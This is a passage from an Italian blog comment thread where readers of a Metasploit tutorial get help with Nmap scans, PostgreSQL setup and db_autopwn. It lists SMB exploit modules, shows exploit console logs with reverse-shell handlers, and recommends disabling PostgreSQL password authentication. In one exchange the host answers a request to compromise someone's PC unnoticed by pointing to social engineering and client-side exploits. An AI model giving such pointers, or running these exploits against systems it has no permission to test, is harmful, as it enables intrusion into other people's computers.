      Ti spiego meglio... invece di far cercare gli IP UP per poi darci quelli con determinate porte aperte farlo cercare direttamente quelli OPEN! Perchè da come ho capito il db effettua un'analisi di tutta la lista che nmap ha cercato e ha il copito che quando trova quelli OPEN li memorizza ma nel frattempo se si ha una lista enorme di IP UP ma su 1000 pc UP solo una 20ina hanno quella porta aperta lo stesso ci impiega molto tempo ad analizzare se invece diciamo a nmap di darci solo gli ip con la porta aperta invece degli IP UP la questione credo che cambi perchè l'analizzatore ci impiegherà 1 secondo... appunto perchè analizza direttamente quelli OPEN che ne sono pochissimi in lista! Io ho provato a fare delle ricerche sul web ma senza nessun successo non sò se esiste un comando del genere da integrare in quello che già mi hai dato "db_nmap -PS80 ecc.."
      Quando l'analizzatore lavorava a busso non c'erano problemi perchè subito analizzava e mi restituiva la console "msf>" ma siccome adesso hanno inserito questo limitatore la questione cambia perchè mezz'ora è troppo! Attendo i tuoi consigli! :)

      Rispondi



      • @ Massimo
        Ciao ;-)
        non ho ricontrollato ma ricordo che l'opzione "--open" di nmap che ti avevo dato in passato dovrebbe scartare tutti quei risultati che non sono "open".

        Rispondi



        • Si Mirko l'opzione --open prende tutti i valori open però volevo sapere se c'era un modo per escludere totalmente l'analisi di quelli "Closed e Filtered" in modo da velocizzare l'analisi del db Sqlite per il fatto che hanno impostato questo "time" se lo vogliamo chiamare così! Ci mette davvero troppo tempo! Probabilmente hanno voluto inserire questo limite per chi possiede un PC vecchio e lasciandolo con le impostazioni di prima forse avrebbe provvocato qualche crash (tipico del mio ex PC P4 1500 mhz che dovevo lasciare solo metasploit in esecuzione altrimenti mi si crashava se aprivo altre cose) ma siccome adesso ho un nuovo PC posso sfruttarlo al massimo! Il problema è proprio a questo punto:

          Nmap done: 26775 IP addresses (102 hosts up) scanned in 159.90 seconds

          è qui che ci mette un sacco di tempo perchè inizia l'analisi della lista degli IP che deve individuare quali sono quelli da immagazzinare nel db se invece lui analizza solamente quelli Open senza ricontrollare i Closed e Filtered credo che il tempo di attesa sarebbe la metà totale anche con il limite impostato da loro! Dici che è risolvibile il fatto?

          Rispondi



          • @ Massimo
            So che di recente è stata fatta qualche modifica sostanziale al comando db_autopwn per migliorare la selezione delle vulnerabilità, il 17 novembre (data di rilascio di metasploit 3.3) sul blog ufficiale si legge:

            "The db commands now support filters for everything from open ports to IP ranges. The db_autopwn command now cross-references across multiple ports and services name instead of a single port, when the -p parameter is supplied."

            link: http://blog.metasploit.com/2009/11/metasploit-framework-33-released.html

            Dovresti provare ad abbandonare SQLite3 ed utilizzare al suo posto Postgres. La lentezza potrebbe essere causata dal motore database non adatto alle query necessarie per elaborare i molti dati risultanti da scansioni di grandi dimensioni.

            Rispondi



            • Ho provato ad installare il Postgres ma non funge nulla è molto più complesso! In rete non sono riuscito a trovare ancora una guida per installare Postgres correttamente per metasploit! Tu hai provato ad installarlo e vedere se funge?

              Rispondi



              • Mirko guarda cosa mi esce per renderti l'idea:

                msf > db_driver postgresql
                [*] Using database driver postgresql
                msf > db_create prova
                createdb: impossibile connettersi al database postgres: FATAL: Ident authentication failed for user "postgres"
                [-] Error while running command db_create: Failed to connect to the database: FATAL C28000 MIdent authentication failed for user "postgres" Fauth.c L273 Rauth_failed

                Call stack:
                /home/Massimo/meta/lib/msf/ui/console/command_dispatcher/db.rb:1664:in `db_create_postgresql'
                /home/Massimo/meta/lib/msf/ui/console/command_dispatcher/db.rb:1190:in `send'
                /home/Massimo/meta/lib/msf/ui/console/command_dispatcher/db.rb:1190:in `cmd_db_create'
                /home/Massimo/meta/lib/rex/ui/text/dispatcher_shell.rb:235:in `send'
                /home/Massimo/meta/lib/rex/ui/text/dispatcher_shell.rb:235:in `run_command'
                /home/Massimo/meta/lib/rex/ui/text/dispatcher_shell.rb:197:in `run_single'
                /home/Massimo/meta/lib/rex/ui/text/dispatcher_shell.rb:192:in `each'
                /home/Massimo/meta/lib/rex/ui/text/dispatcher_shell.rb:192:in `run_single'
                /home/Massimo/meta/lib/msf/ui/console/driver.rb:357:in `run_single'
                /home/Massimo/meta/lib/rex/ui/text/shell.rb:144:in `run'
                ./msfconsole:92
                msf >

                Cosa devo configurare per farlo andare bene senza problemi? Sto impazzendo!

                Rispondi



                • @ Massimo
                  Sei sicuro che PostgreSQL sia in esecuzione?

                  In una installazione predefinita/livecd di Backtrack 4 Pre-Final:

                  - Aggiornamento/installazione di postgresql

                  apt-get update
                  apt-get install postgresql

                  - Avvio del servizio postgresql

                  service postgresql-8.3 start

                  - Assicurarsi che sia in esecuzione

                  ps aux | grep -i sql

                  - Avvio della msfconsole

                  /pentest/exploits/framework3/msfconsole

                  - Creazione del DB e connessione

                  msf > db_driver postgresql
                  [*] Using database driver postgresql
                  msf > db_create postgres @ 127.0.0.1/prova
                  NOTICE: CREATE TABLE ...
                  ...
                  ...
                  ...
                  [*] Database creation complete (check for errors)
                  msf > db_connect postgres @ 127.0.0.1/prova

                  NB: "postgres @ 127.0.0.1" va scritto tutto attaccato, ho dovuto inserire uno spazio perché wordpress non lo visualizzava correttamente

                  Rispondi



                  • Mirko ho provato a lanciare da terminale e mi ha dato lo Start anche se credevo si lanciasse in automatico all'avvio cmq fa niente... poi ho riprovato a fare i test:

                    msf > db_driver postgresql
                    [*] Using database driver postgresql
                    msf > db_create postgres@localhost/prova
                    Password:
                    Password:
                    [-] Error while running command db_create: Failed to connect to the database: FATAL C28000 Mpassword authentication failed for user "postgres" Fauth.c L273 Rauth_failed

                    Call stack:
                    /home/Massimo/meta/lib/msf/ui/console/command_dispatcher/db.rb:1664:in `db_create_postgresql'
                    /home/Massimo/meta/lib/msf/ui/console/command_dispatcher/db.rb:1190:in `send'
                    /home/Massimo/meta/lib/msf/ui/console/command_dispatcher/db.rb:1190:in `cmd_db_create'
                    /home/Massimo/meta/lib/rex/ui/text/dispatcher_shell.rb:235:in `send'
                    /home/Massimo/meta/lib/rex/ui/text/dispatcher_shell.rb:235:in `run_command'
                    /home/Massimo/meta/lib/rex/ui/text/dispatcher_shell.rb:197:in `run_single'
                    /home/Massimo/meta/lib/rex/ui/text/dispatcher_shell.rb:192:in `each'
                    /home/Massimo/meta/lib/rex/ui/text/dispatcher_shell.rb:192:in `run_single'
                    /home/Massimo/meta/lib/msf/ui/console/driver.rb:357:in `run_single'
                    /home/Massimo/meta/lib/rex/ui/text/shell.rb:144:in `run'
                    ./msfconsole:92

                    Non capisco dov'è che sbaglio! La password è giusta perchè l'ho cambiata! Quanti problemi! Mia uan volta che fila liscio!

                    Rispondi



                    • Ho provato anche a vedere se i DB li crea! Infatti se entro nel postgres e lancio il comando \l per vedere la lista dei database ci sono tutti! Lui li crea quindi il postgres sembra funzionare bene! Magari può essere qualche libreria mancante?? Non sò più a cosa pensare! :|



  39. @ Massimo
    Prova a disabilitare la richiesta password per le connessioni locali, ecco i passi:

    Fermi il servizio postgresql

    service postgresql-8.3 stop

    Fai un backup del file "pga_hba.conf"

    cp /etc/postgresql/8.3/main/pg_hba.conf /etc/postgresql/8.3/main/pg_hba.old

    e poi lo modifichi (puoi usare anche gedit)

    nano /etc/postgresql/8.3/main/pg_hba.conf

    All fine di questo file sono dichiarati i vari metodi di autenticazione, assicurati che ci siano queste tre righe:

    local all all trust
    host all all 127.0.0.1/32 trust
    host all all ::1/128 trust

    se nel tuo "pga_hba.conf" c'è qualcosa di diverso lo puoi cancellare... specialmente quelle impostazoni che terminano con "password" anziché "trust".

    Avvia il servizio postgresql

    service postgresql-8.3 start

    Rispondi



    • Mirko ho fatto anche come dici tu e infatti la Password di autentificazione non me la chiede più... solamente che adesso da un altro errore:

      msf > db_driver postgresql
      [*] Using database driver postgresql
      msf > db_create postgres@localhost/prova
      [-] Error while running command db_create: Failed to connect to the database: undefined method `quote_ident' for PGconn:Class

      Call stack:
      /home/Massimo/meta/lib/msf/ui/console/command_dispatcher/db.rb:1664:in `db_create_postgresql'

      e tutto il resto degli errori.. ecc....

      Da dove può dipedere ora? Ti ricordo che uso come distro Ubuntu 9.10 e il postgresql è la versione 8.4 non sò se può cambiare le cose cmq è meglio specificarlo non si sà mai! :)

      Rispondi



      • Mi sà che forse è un problema del rails! Ho trovato un forum che dice questo:

        We have updated the rails version from 2.1.1 to 2.3.3 and we get the
        folowing error message:

        undefined method `quote_ident' for PGconn:Class

        Any idea about it?

        Thanks in advance.

        Può essere?

        Rispondi



        • @ Massimo
          Ho fatto una prova su di un livecd Ubuntu 9.10 e funziona tutto correttamente.

          Dopo aver abilitato le varie repository software aggiuntive ho installato i classici pacchetti necessari a metasploit (come indicato nel mio vecchio post http://www.notageek.it/metasploit-framework-tutorial-part2.html), "postgresql" e le librerie database per postgresql "libdbd-pgsql" "libdbd-pg-ruby"

          Rispondi



          • Mirko è ovvio che non mi funzionava... mi mancavano quelle 2 librerie del postgres! Adesso funge a meraviglia! Già in virtuale va una scheggia figuriamoci ora che installerò il Postgresql sul fisso volerà! :D
            Cmq immaginavo che fosse stato un problema di mancanze librerie l'avevo detto nei post precedenti! Cmq come sempre mi salvi in calcio d'angolo ed io ti ringrazio come sempre! :)
            Spero che questi Post possono servire a coloro che hanno gli stessi problemi!
            A presto Mirko! :)

            Rispondi



          • Hello there I'm getting the same error as Massimo but on macosx any ideas?

            Thanks in advance!

            Rispondi



            • @ mike
              Massimo has fixed the problem installing "libdbd-pgsql" and "libdbd-pg-ruby" libraries.
              I have no expertise in macosx so I can not suggest anything specific to this operating system... I'm sorry.

              Rispondi



  40. Ciao Mirko! Rieccomi con una nuova osservazione... ho notato che c'è una voce "db_workspace" che è impostata su "default"! Ho provato a fare delle ricerche ma non si trova nulla in rete sulla sua spiegazione! Tu per caso sai a cosa serve? Può servire a velocizzare il lancio degli exploit? Grazie mille!

    Rispondi



    • @ Massimo
      Ciao,
      non l'ho mai usato ma penso che sia un comando per creare/cambiare/eliminare "progetti" o "spazi di lavoro" diversi all'interno dello stesso database, ad es:

      msf > db_driver sqlite3
      [*] Using database driver sqlite3
      msf > db_create
      [*] Creating a new database instance...
      [*] Successfully connected to the database
      [*] File: /root/.msf3/sqlite3.db
      

      Visualizzo il workspace che sto utilizzando, si chiama "default"

      msf > db_workspace
      * default
      

      Aggiungo un nuovo workspace "test1" e noto che metasploit si sposta automaticamente su di esso

      msf > db_workspace -a test1
      [*] Added workspace: test1
      msf > db_workspace
        default
      * test1
      

      Inserisco dei dati nell'attuale workspace

      msf > db_nmap 127.0.0.1 -p 80
      
      Starting Nmap 5.00 ( http://nmap.org ) at 2010-01-15 10:14 CET
      Interesting ports on localhost (127.0.0.1):
      PORT   STATE SERVICE
      80/tcp open  http
      
      Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
      msf > db_hosts
      
      Hosts
      =====
      
      address    address6  arch  comm  created                         info  mac  name  os_flavor  os_lang  os_name  os_sp  state  Svcs  Vulns  Workspace
      -------    --------  ----  ----  -------                         ----  ---  ----  ---------  -------  -------  -----  -----  ----  -----  ---------
      127.0.0.1                        Fri Jan 15 10:14:29 +0100 2010                                                       alive  1     0      test1
      

      Cambio workspace, passo a quello chiamato "default" e controllo la presenza di dati

      msf > db_workspace default
      [*] Workspace: default
      msf > db_hosts
      
      Hosts
      =====
      
      address  address6  arch  comm  created  info  mac  name  os_flavor  os_lang  os_name  os_sp  state  Svcs  Vulns  Workspace
      -------  --------  ----  ----  -------  ----  ---  ----  ---------  -------  -------  -----  -----  ----  -----  ---------
      

      Infatti è vuoto non ci sono dati, mi sposto nuovamente in "test1" e controllo la presenza dati

      msf > db_workspace test1
      [*] Workspace: test1
      msf > db_hosts
      
      Hosts
      =====
      
      address    address6  arch  comm  created                         info  mac  name  os_flavor  os_lang  os_name  os_sp  state  Svcs  Vulns  Workspace
      -------    --------  ----  ----  -------                         ----  ---  ----  ---------  -------  -------  -----  -----  ----  -----  ---------
      127.0.0.1                        Fri Jan 15 10:14:29 +0100 2010                                                       alive  1     0      test1
      

      Elimino il workspace "test1"

      msf > db_workspace -d test1
      [*] Deleted workspace: test1
      msf > db_workspace
      * default
      msf >
      

      Rispondi



      • Adesso è tutto chiaro... come dici te è uno spazio di lavoro in modo da dividerli se si fanno diverse azioni e tenerli ordinati! Grazie come al solito Mirko! ;)

        Rispondi



  41. ciao a tutti stò seguendo la guida di metasploit framework e sono arrivato ad un punto ormai da giorni,sono a questo punto: La porta 135 (RPC) del bersaglio è raggiungibile, questo exploit è proprio ciò che fa al caso nostro… selezioniamolo tramite il comando use

    quando faccio la scansione delle porte con nmap le mie porte aperte sono le seguenti:

    PORT STATE SERVICE
    80/tcp open http
    139/tcp open netbios-ssn
    443/tcp open https
    445/tcp open microsoft-ds

    sfortunatamente non trovo nessun exploit compatibile con almeno una di queste mie porte.

    nella guida trova questa porta che e poi compatibile con l'exploit RPC .........135/tcp open msrpc Microsoft Windows RPC.

    come posso fare io per poter continuare a seguire la guida?ho provato ad aprire anche io la porta 135 tramite web al pannello di configurazione del router ma questa porta non c'e.

    ok grazie di tutto ciao

    Rispondi



    • cesar_yasus ma non è detto che se ci sono porte aperte hanno per forza dei bug. Cmq gli exploit oggi utilizzati sulla 139 o 445 (porte di condivisione di sistema "smb") sono queste:

      exploit/windows/smb/ms03_049_netapi
      exploit/multi/samba/usermap_script
      exploit/solaris/samba/trans2open
      exploit/windows/smb/ms06_066_nwapi
      exploit/windows/smb/netidentity_xtierrpcpipe
      exploit/windows/brightstor/etrust_itm_alert
      exploit/windows/smb/psexec
      exploit/netware/smb/lsass_cifs
      exploit/linux/samba/lsa_transnames_heap
      exploit/windows/smb/timbuktu_plughntcommand_bof
      exploit/windows/smb/ms06_040_netapi
      exploit/windows/smb/ms06_070_wkssvc
      exploit/windows/smb/ms08_067_netapi
      exploit/windows/smb/ms04_011_lsass
      exploit/multi/samba/nttrans
      exploit/windows/brightstor/ca_arcserve_342
      exploit/windows/smb/ms06_066_nwwks
      exploit/windows/smb/msdns_zonename
      exploit/osx/samba/lsa_transnames_heap
      exploit/windows/smb/ms04_031_netdde
      exploit/windows/smb/ms05_039_pnp

      Ovviamente effettui il Penetration Test a seconda che sistema è... se Windows, Linux ecc...
      Ciao!

      Rispondi



    • @ cesar_yasus
      devi aprire le porte ed utilizzare come bersaglio un sistema operativo non aggiornato, non c'è altro modo di seguire la guida.

      Rispondi



  42. grazie 1000 per l'aiuto provo subito

    Rispondi



  43. grazie mille della guida,
    l'ho seguita e sono arrivato fino in fondo,comunque non avendo due pc ho usato come pc vittima il pc con cui facevo il penetration test e visto che e la prima volta che arrivo fino a qui volevo sapere se dovevo esclusivamente usare un'altro pc.
    quindi ho usato il mio sistema operativo backtrack e ho cercato di avere la shell dei comandi
    ho dato il coomando exploit e mi e uscito:

    [*] Creating nop sled....
    [*] Trying to exploit Samba with address 0xffffe410...
    [*] Connecting to the SMB service...
    [-] Exploit failed: The connection was refused by the remote host (192.168.1.76:445).
    [*] Exploit completed, but no session was created.
    msf exploit(lsa_transnames_heap) >

    quindi ho sbagliato qualcosa percaso?

    e quando do show opzioni mi viene

    msf exploit(lsa_transnames_heap) > show options

    Module options:

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    RHOST xxx.xxx.xxx.xxx yes The target address
    RPORT 445 yes Set the SMB service port
    SMBPIPE LSARPC yes The pipe name to use

    Payload options (linux/x86/adduser):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    PASS metasploit yes The password for this user
    SHELL /bin/sh no The shell for this user
    USER metasploit yes The username to create

    ecco sono tutti yes ma nelle shell c'e scritto no.

    aspetto una vostra opinione grazie ciao

    Rispondi



  44. ciao sono andato piu avanti e ora volevo sapere perche dopo aver impostato l’exploit, ho ricevuto il messaggio che l’exploit è andato a buon fine, ma non è stata aperta nessuna sessione (Exploit completed, but no session created) ciao grazie

    QUESTO E QUELLO CHE MI VIENE

    started reverse handler on XX.XX.XX.XX:4444
    automatically detecting the target...
    fingerprint:windows xp service pack 0 / 1 - lang:italian
    selected target:windows xp sp0/sp1 universal
    attempting to trigger the vulnerability...
    sending stage (240 bytes) to XX.XX.XX.XX
    comand shell session 1 opened (XX.XX.XX.XX:4444 ---- XX.XX.XX.XX:1267) at 2010-05-14 20:45:30 +0100
    exploit failed: bad file descriptor
    exploit completed, but no session was created.
    exploit (ms08_067_natapi) >

    TRADUZIONE

    gestore di inversione è iniziata il XX.XX.XX.XX:4444
    Rileva automaticamente il bersaglio ...
    impronte digitali: Windows XP Service Pack 0 / 1 - lang: italiana
    target selezionato: Windows XP universale sp0/sp1
    Il tentativo di innescare la vulnerabilità ...
    l'invio di fase (240 byte) a XX.XX.XX.XX
    COMAND aprire una sessione di shell (XX.XX.XX.XX:4444 ---- XX.XX.XX.XX:1267) a 0.100 14/05/2010 20:45:30
    exploit riuscito: descrittore di file non valido
    sfruttare completato, ma non è stato creato sessione.
    exploit (ms08_067_natapi)>

    Rispondi



  45. non capisco cosa posso fare con questo bug.poi ho queste porte aperte:
    PORT STATE SERVICE
    80/tcp open http
    139/tcp open netbios-ssn
    443/tcp open https
    445/tcp open microsoft-ds

    vorrei applicargli un exploit ma prima vorrei sapere
    come posso fare per renderne almeno una vulnerabile?

    Rispondi



    • Se vuoi un sistema vulnerabile installa Windows 2000 SP4 senza fargli aggiornamenti e poi prova sulla 139 o 445 vedrai che funziona! :)

      Rispondi



  46. ciao a tutti vorrei tanto sapere come si fa a cambiare da bianchi a verdi i caratteri di metasploit consol.
    poi ho queste porte aperte

    PORT STATE SERVICE
    1864/tcp open paradym-31
    4443/tcp open pharos
    5190/tcp open aol

    che exploit mi consigliate?
    e perche mi consigliate propio questo? grazie ciao

    Rispondi



    • Non vorrei dire una cavolata ma credo siamo porte di default dei Router Alice specialmente la 5190/tcp open aol me la ricordo troppo bene che ce l'hanno i Router Alice.
      Per il colore non sò proprio come aiutarti magari Mirko ne sò qualcosa più di me e saprà dirti come cambiarli.

      Rispondi



    • @ cesar_yasus
      Per quanto riguarda i colori di metasploit: so che era in progetto di aggiungere la possibilità di cambiarli ma non credo sia stato ancora fatto... si possono però disabilitare. Potresti cambiare lo schema di colori del tuo terminale (da "bianco su nero" a "verde su nero") e poi disabilitare i colori in metasploit con il seguente comando:

      echo color false >> ~/.msf3/msfconsole.rc

      Per quanto riguarda invece le porte da te segnalate: si tratta di porte normalmente aperte sui router NETGEAR di una particolare serie, ce ne sono anche delle altre.
      Vorrei però sottolineare il fatto che, quando parliamo di exploit, il problema non sono le porte "aperte" o "chiuse" ma i servizi che rispondono su di esse. In questo caso specifico, amesso che si tratti effettivamente di un router NETGEAR, tali porte sono utilizzate da un servizio denominato "reaim" per il quale non credo esistano exploit pubblici. Cosa significa questo? Semplicemente che non esistono informazioni pubbliche che ci permettono di capire se il servizio sia vulnerabile o meno a qualche tipo di attacco diretto.

      Rispondi



      • Ricordavo che erano porte di Default di qualche Router ho sbagliato solo il modello! :P
        cesar_yasus come ha detto Mirko non sempre un sistema è Vulnerabile (per fortuna) altrimenti non saremo più sicuri e su internet non ci andremo più! :D
        Una cosa è certa che se un sistema e mantenuto sempre aggiornato può avere anche 3000 porte aperte ma sarà difficile che siano Vulnerabili. Ecco perchè probabilmente le prove che stai effettuando tu saranno corrette ma sicuramente il sistema non è vulnerabile.

        Rispondi



  47. ciao sono cesar grazie a tutti per la magnifica assistenza,devo dire che questo blog mi ha aiutato piu di quegli altri di cui mi servo,grazie a voi ora molte cose mi sono piu chiare di prima quindi ringrazio espressamete massimo e mirco dell'aiuto e della pazienza che avete.

    ora avete terminato dicendo che non sempre un sistema e vulnerabile,,,e io mi chiedo se c'e un modo per rendere vulnerabile il pc di un altra persona senza che si accorga di nulla quindi sarei felice di seguire qualsiasi idea o metodo che usate personalmente o semplicemente una parola chiave. grazie ancora ciao

    Rispondi



  48. @ cesar_yasus
    ti consiglio di approfondire gli argomenti: "social engineering" e "client-side exploits".
    Ciao

    Rispondi



  49. Ho questo problema ... appena installato Metasploit lancio scrivendo dal terminale
    sudo msfconsole
    e il terminale mi risponde
    /opt/metasploit3/app/ruby: 1: Syntax error: "(" unexpected
    come posso risolvere il problema ?
    AIUTATEMI VI PREGO !!!!

    Rispondi



  50. L'ho fatta su ubuntu 9.10 ! Come posso fare ?

    Rispondi



  51. Scusate la domanda idiota che non centra unbel nient.
    Ho letto tanti manuali su meterpreter ed é molto bello...
    ma dove lo posso scaricare??
    grz

    Rispondi



    • @ K0PP3X
      Non si scarica, Meterpreter (Meta-Interpreter) è un componente interno di Metasploit Framework.
      Più precisamente si tratta di un payload molto avanzato che lavora direttamente nella memoria della macchina compromessa utilizzando la tecnica "dll injection".

      Rispondi



  52. @Mirko
    ok grazie
    il metasploit framework l ho scaricato.
    é la verisone 3 come faccio ad usare meterpreter(Meter-Interpreter) con il framework?
    ogni volta che lo apro esce un terminale bash
    ed esce una scritta [*]configuring multi user permissions for first run...
    che edvo fare per lanciare un comando?
    devo scrivere il comando ma quando lo scrivo non accade nulla.
    devo imparare ad usarlo bene grazie x il vostro aiuto.

    Rispondi



  53. Ciao Mirko! Ti contatto questa volta per capire se è un problema mio o di Metasploit... andava tutto a meraviglia fino a quando con l'uscita della versione 3.4.2-Dev e l'update sono iniziati il problemi... l'autopwn è diventato davvero lentissimo! Per effettuare un Penetration Test sulla rete mia aziendale ci mette un'eternità a finire mentre con le versioni precedenti era davvero una scheggia... tipo quasi 100 pc in rete con l'autopwn finiva davvero subito e ora si parla di 1 ora se non di più... e in più quando termina si blocca pure Meta crashando il Ruby! Non si può andare avanti in questo modo.... ho provato ad aprire un Tichet sul loro sito ma a quanto pare non mi calcolano di striscio! Puoi vedere il problema direttamente qui:

    http://www.metasploit.com/redmine/issues/2314

    Ho fatto diversi UP e provando diverse aperture magari se ne dimenticavano di correggere quel Bug ma sembra che ai Ticket correlati sono molto attenti chiudendoli ma a correggere non lo fanno!
    Cmq sono arrivato ad una soluzione ma non sò se potrà andare a buon fine sempre ascoltando i tuoi consigli e mi dici come posso fare... ho notato che la versione che si scarica dal sito la 3.4.1 che poi quando la apri è cmq la 3.4.2 è molto veloce e alla fine anche se ci mette molto tempo a terminare il "Waiting" con il comando CTRL+C si killa e non crasha il Ruby quindi si può utilizzare quella versione... e stavo pensando che se si sostituiscono gli exploit può andare bene? Ho provato a fare questa prova sostituendo gli exploit ma quando apro Meta mi esce "errore grave ecc.." perchè probabilmente legge nuovi exploit che non sono inseriti nel CONF o qualcosa del genere.
    Tu hai qualche soluzione?
    Attendo i tuoi saggi consigli!
    Grazie come sempre! :)

    Rispondi



    • @ Massimo

      Secondo me non hanno capito né il problema che gli hai segnalato né il modo in cui hai aperto il ticket (mi sembra di aver capito che lo hai aperto già in stato di "fixed") quindi hanno deciso di ignorare la cosa.

      L'unico consiglio che posso darti in merito a questa faccenda è di indagare e cercare di capire se la lentezza o gli errori sono dovuti a qualche particolare exploit (ad esempio il nuovo ms10_061_spoolss che a volte risulta piuttosto lento), a questo scopo potresti escludere determinati exploit tramite una regular expression da specificare tramite il parametro "-m" nel momento in cui lanci il comando db_autopwn, un esempio:

      db_autopwn -p -t -m ^(?:(?!ms08_067|ms10_061).)*$\r?\n?

      questo comando esclude i due exploit ms08_067_netapi e ms10_061_spoolss.

      Se vuoi escludere un altro exploit ti basta aggiungere al centro della regular expression di cui sopra un "pipe" (che sta per "OR") ed una parte del suo nome, un altro esempio:

      db_autopwn -p -t -m ^(?:(?!ms08_067|ms10_061|ms06_040_netapi).)*$\r?\n?

      questo esclude gli exploit ms08_067_netapi, ms10_061_spoolss ed anche ms06_040_netapi.

      Un altra cosa che potresti fare è specificare un tempo di esecuzione massimo (per singolo exploit) con l'opzione "-T" del comando db_autopwn.

      Rispondi



  54. Mirko sai sempre tutto! È un'ottimo comando che, a parte il fatto di scovare il Bug, mi fa comodo perchè tutti i PC che stanno in azienda sono tutti Windows... quindi quegli Exploit di Linux/osx ecc..in più che lanciava era tempo perso! Me li sono selezionati a dovere in modo che adesso lancia solo quelli di Windows e la differenza di tempo si vede... roba di 700-800 exploit in meno ma per quanto riguarda il Bug non c'è verso... ho effettuato tutti i test possibili inserendo e togliendo Exploit lasciando addirittura solo 2-3 exploit ma la velocità e il crash finale del Waiting restano invariati! Penso che sia proprio un'errore di programmazione dovuta al Core di Meta! Ho provato a chiedere anche supporto sul loro canale IRC parlando con uno degli sviluppatori e sai che mi hanno risposto? Che la loro priorità è altro mentre l'autopwn si può trascurare... allora dico io è possibile che ancora nessuno che usa questa funzione di Meta si sia accorto del Bug e non ha chiesto supporto o lo uso solo io nel mondo? È davvero strana come cosa! Credevo che fosse solo un problema mio ma l'ho provato oltre che sulla mia Ubuntu 10.04 anche su Debian e BackTrack stesso errore su entrambi! Non sò più cosa fare oltre che aspettare che gli arrivano altre segnalazioni perchè il problema è su tutti i sistemi...
    L'unica cosa che ho notato che se sono pochi Exploit da lanciare tipo 100 al Waiting non si blocca ma se sono tanti come nel mio caso che in azienda sono troppi PC in rete sembra che si sovracarica Meta o il Ruby e si blocca..
    Non saprei proprio da cosa può dipendere. Cosa mi consigli Mirko ti perdere le speranze e tenermelo così?

    Rispondi



    • Ho provato a fare un altro test che mi era sfuggito... quello di eliminare tutti gli Exploit Windows e lasciare il resto di linux/multi/osx ecc.. e la questione non cambia sia di lentezza che del crash finale quindi credo sia confermato che sarà un bug interno al core di Meta! :|

      Rispondi



      • @ Massimo
        purtroppo non so come aiutarti, mi spiace... mi risulta difficile anche ricreare il problema per fare una seconda segnalazione.
        Sulla mailing list hai provato a segnalarlo? Penso che quella venga letta da molte più persone rispetto al bug tracker.

        Rispondi



        • In effetti segnalarlo come seconda volta verrà ignorato se non cancellato come hanno già fatto... per la Mailing List non ho provato non sapevo neanche l'esistenza mi potresti dare il link? In modo che ci provo tanto ormai.. perso per perso tentiamo questa ultima segnalazione!
          Grazie come sempre!

          Rispondi



          • @ Massimo
            per iscriverti hai bisogno soltanto di un indirizzo e-mail, la pagina è questa: http://spool.metasploit.com/mailman/listinfo/framework
            Attendi l'email di conferma dopodiché potrai mandare un messaggio a tutti gli iscritti scrivendo a: framework@spool.metasploit.com

            Rispondi



            • Perfetto! Grazie Mirko ti terrò informato! ;)

              Rispondi



              • Mirko alla fine feci anche la Newsletter ma senza nessun risultato... sta li ferma senza neanche una risposta! Non capisco il perchè non mi rispondono anche se dicessero "NON SI PUÒ FIXARE" sarei più contento almeno accetto il problema e amen...
                Ma la cosa che non vogliono prendere in esame il problema mi puzza un pò... se ne fregano altamente! Metasploit è un'ottimo programma ma lo Staff bisogna un pò revisionarlo perchè riparano i bug che interessa loro... a quanto pare!

                http://mail.metasploit.com/pipermail/framework/2010-October/007037.html

                Rispondi



                • @ Massimo
                  Avevo già notato la tua email alla newsletter, mi spiace che non ti abbiano risposto.
                  Purtroppo non c'è nulla che io possa fare.

                  Rispondi



                  • Pazienza Mirko... magari più in là riapro un altro tichet e un'altra newsletter. Ho notato proprio ieri che facendo altre prove è riuscito a terminare senza bloccarsi! C'ha messo un 4-5 minuti per il termine del Waiting ma è arrivato a 0 e poi mi ha dato la riga di comando msf>
                    Ma se non ricordo male al primo lancio dell'autopwn si conclude senza problemi ma dalla seconda si blocca... è come se è proprio il Ruby che si sovracarica! Ho provato anche in virtuale con il Ruby1.9 magari poteva essere quello il problema che Meta era più automatizzato con l'ultimo Ruby... ma i risultati sono gli stessi quindi è proprio un Bug di Meta sperando che si dedicano un 5 minuti a questo problema. Aspetterò e non mi arrenderò! :D
                    Grazie Mirko! A presto!

                    Rispondi



  55. Ciao Mirko, sto avvicinandomi timidamente al pentesting mediante il metasploit framework, che sembra essere un ottimo programma. leggendo i vari forum e le varie (povere) guide che stanno in giro, ho cominviato a capirci qualcosina, ma..... ti posso fare 2 domande per chiarirmi un poco le idee?
    spero di si... he he he
    allora
    1 - come scegliere il giusro tipo di exploit fra i mille a disposizione? mi spiego meglio: il pc obiettivo, dall'analisi di nmap pare che utilizzi un dato s.o. e abbia delle porte specifiche aperte: quale exploit usare?

    2 - se il pc obiettivo è situato in una lan gestita da un router, probabilmente nmap mi legge il s.o. del router, quindi: cosa fare? mandare un exploit al router?

    ti ringrazio per queste domande e spero che tu mi possa chiarire le idee.
    se poi esiste una guida (in italiano) che sia più esaustiva di quelle che ho trovato in giro (brigante, una per utte), indicamela.

    ti ringrazioe saluto e ti faccio i complimento per il blog

    brizzolato

    Rispondi



  56. Ciao a tutti.
    Intanto devo complimentarmi con mirko per la fantastica guida che ha messo in disposizione.
    Promessa: io sono principiante.
    Allora ho seguito e svolto attentamente la guida,dal mio computer che ho ubuntu 10.10 sull'altro computer che ho con windows xp(tutti due sono conessi allo stesso ruter,conosco gia gli ip e sono certo).
    Il mio problema è che quando alla fine inserisco exploit : mi si appare:
    [*] Started reverse handler on 37.243.12.39:4444
    [*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
    [*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:37.243.xx.xx[135] ...
    [*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:37.243.xx.xx[135] ...
    [*] Sending exploit ...
    [-] Exploit exception: DCERPC FAULT => nca_s_fault_access_denied
    [*] Exploit completed, but no session was created.
    msf exploit(ms03_026_dcom) >
    Secondo te Mirko qualè il problema.
    Grazie per la tua collaborazione.

    Rispondi



  57. Ciao a tutti e complimenti per la guida,ho fatto come descritto e mi ritrovo con lo stesso problema di Russel,a questo punto ho creato una macchina virtuale e ho installato xp senza services pack ma non cambia niente.

    Rispondi



    • Invece dell'XP prova il Windows2000 anche con il SP4 ma senza aggiornamenti. È quello con più BUG partendo da IE e finendo al samba! Ciao! :)

      Rispondi



  58. Scusa con windows 98 va bene lo stesso,perchè il 2000 non riesco a scaricarlo

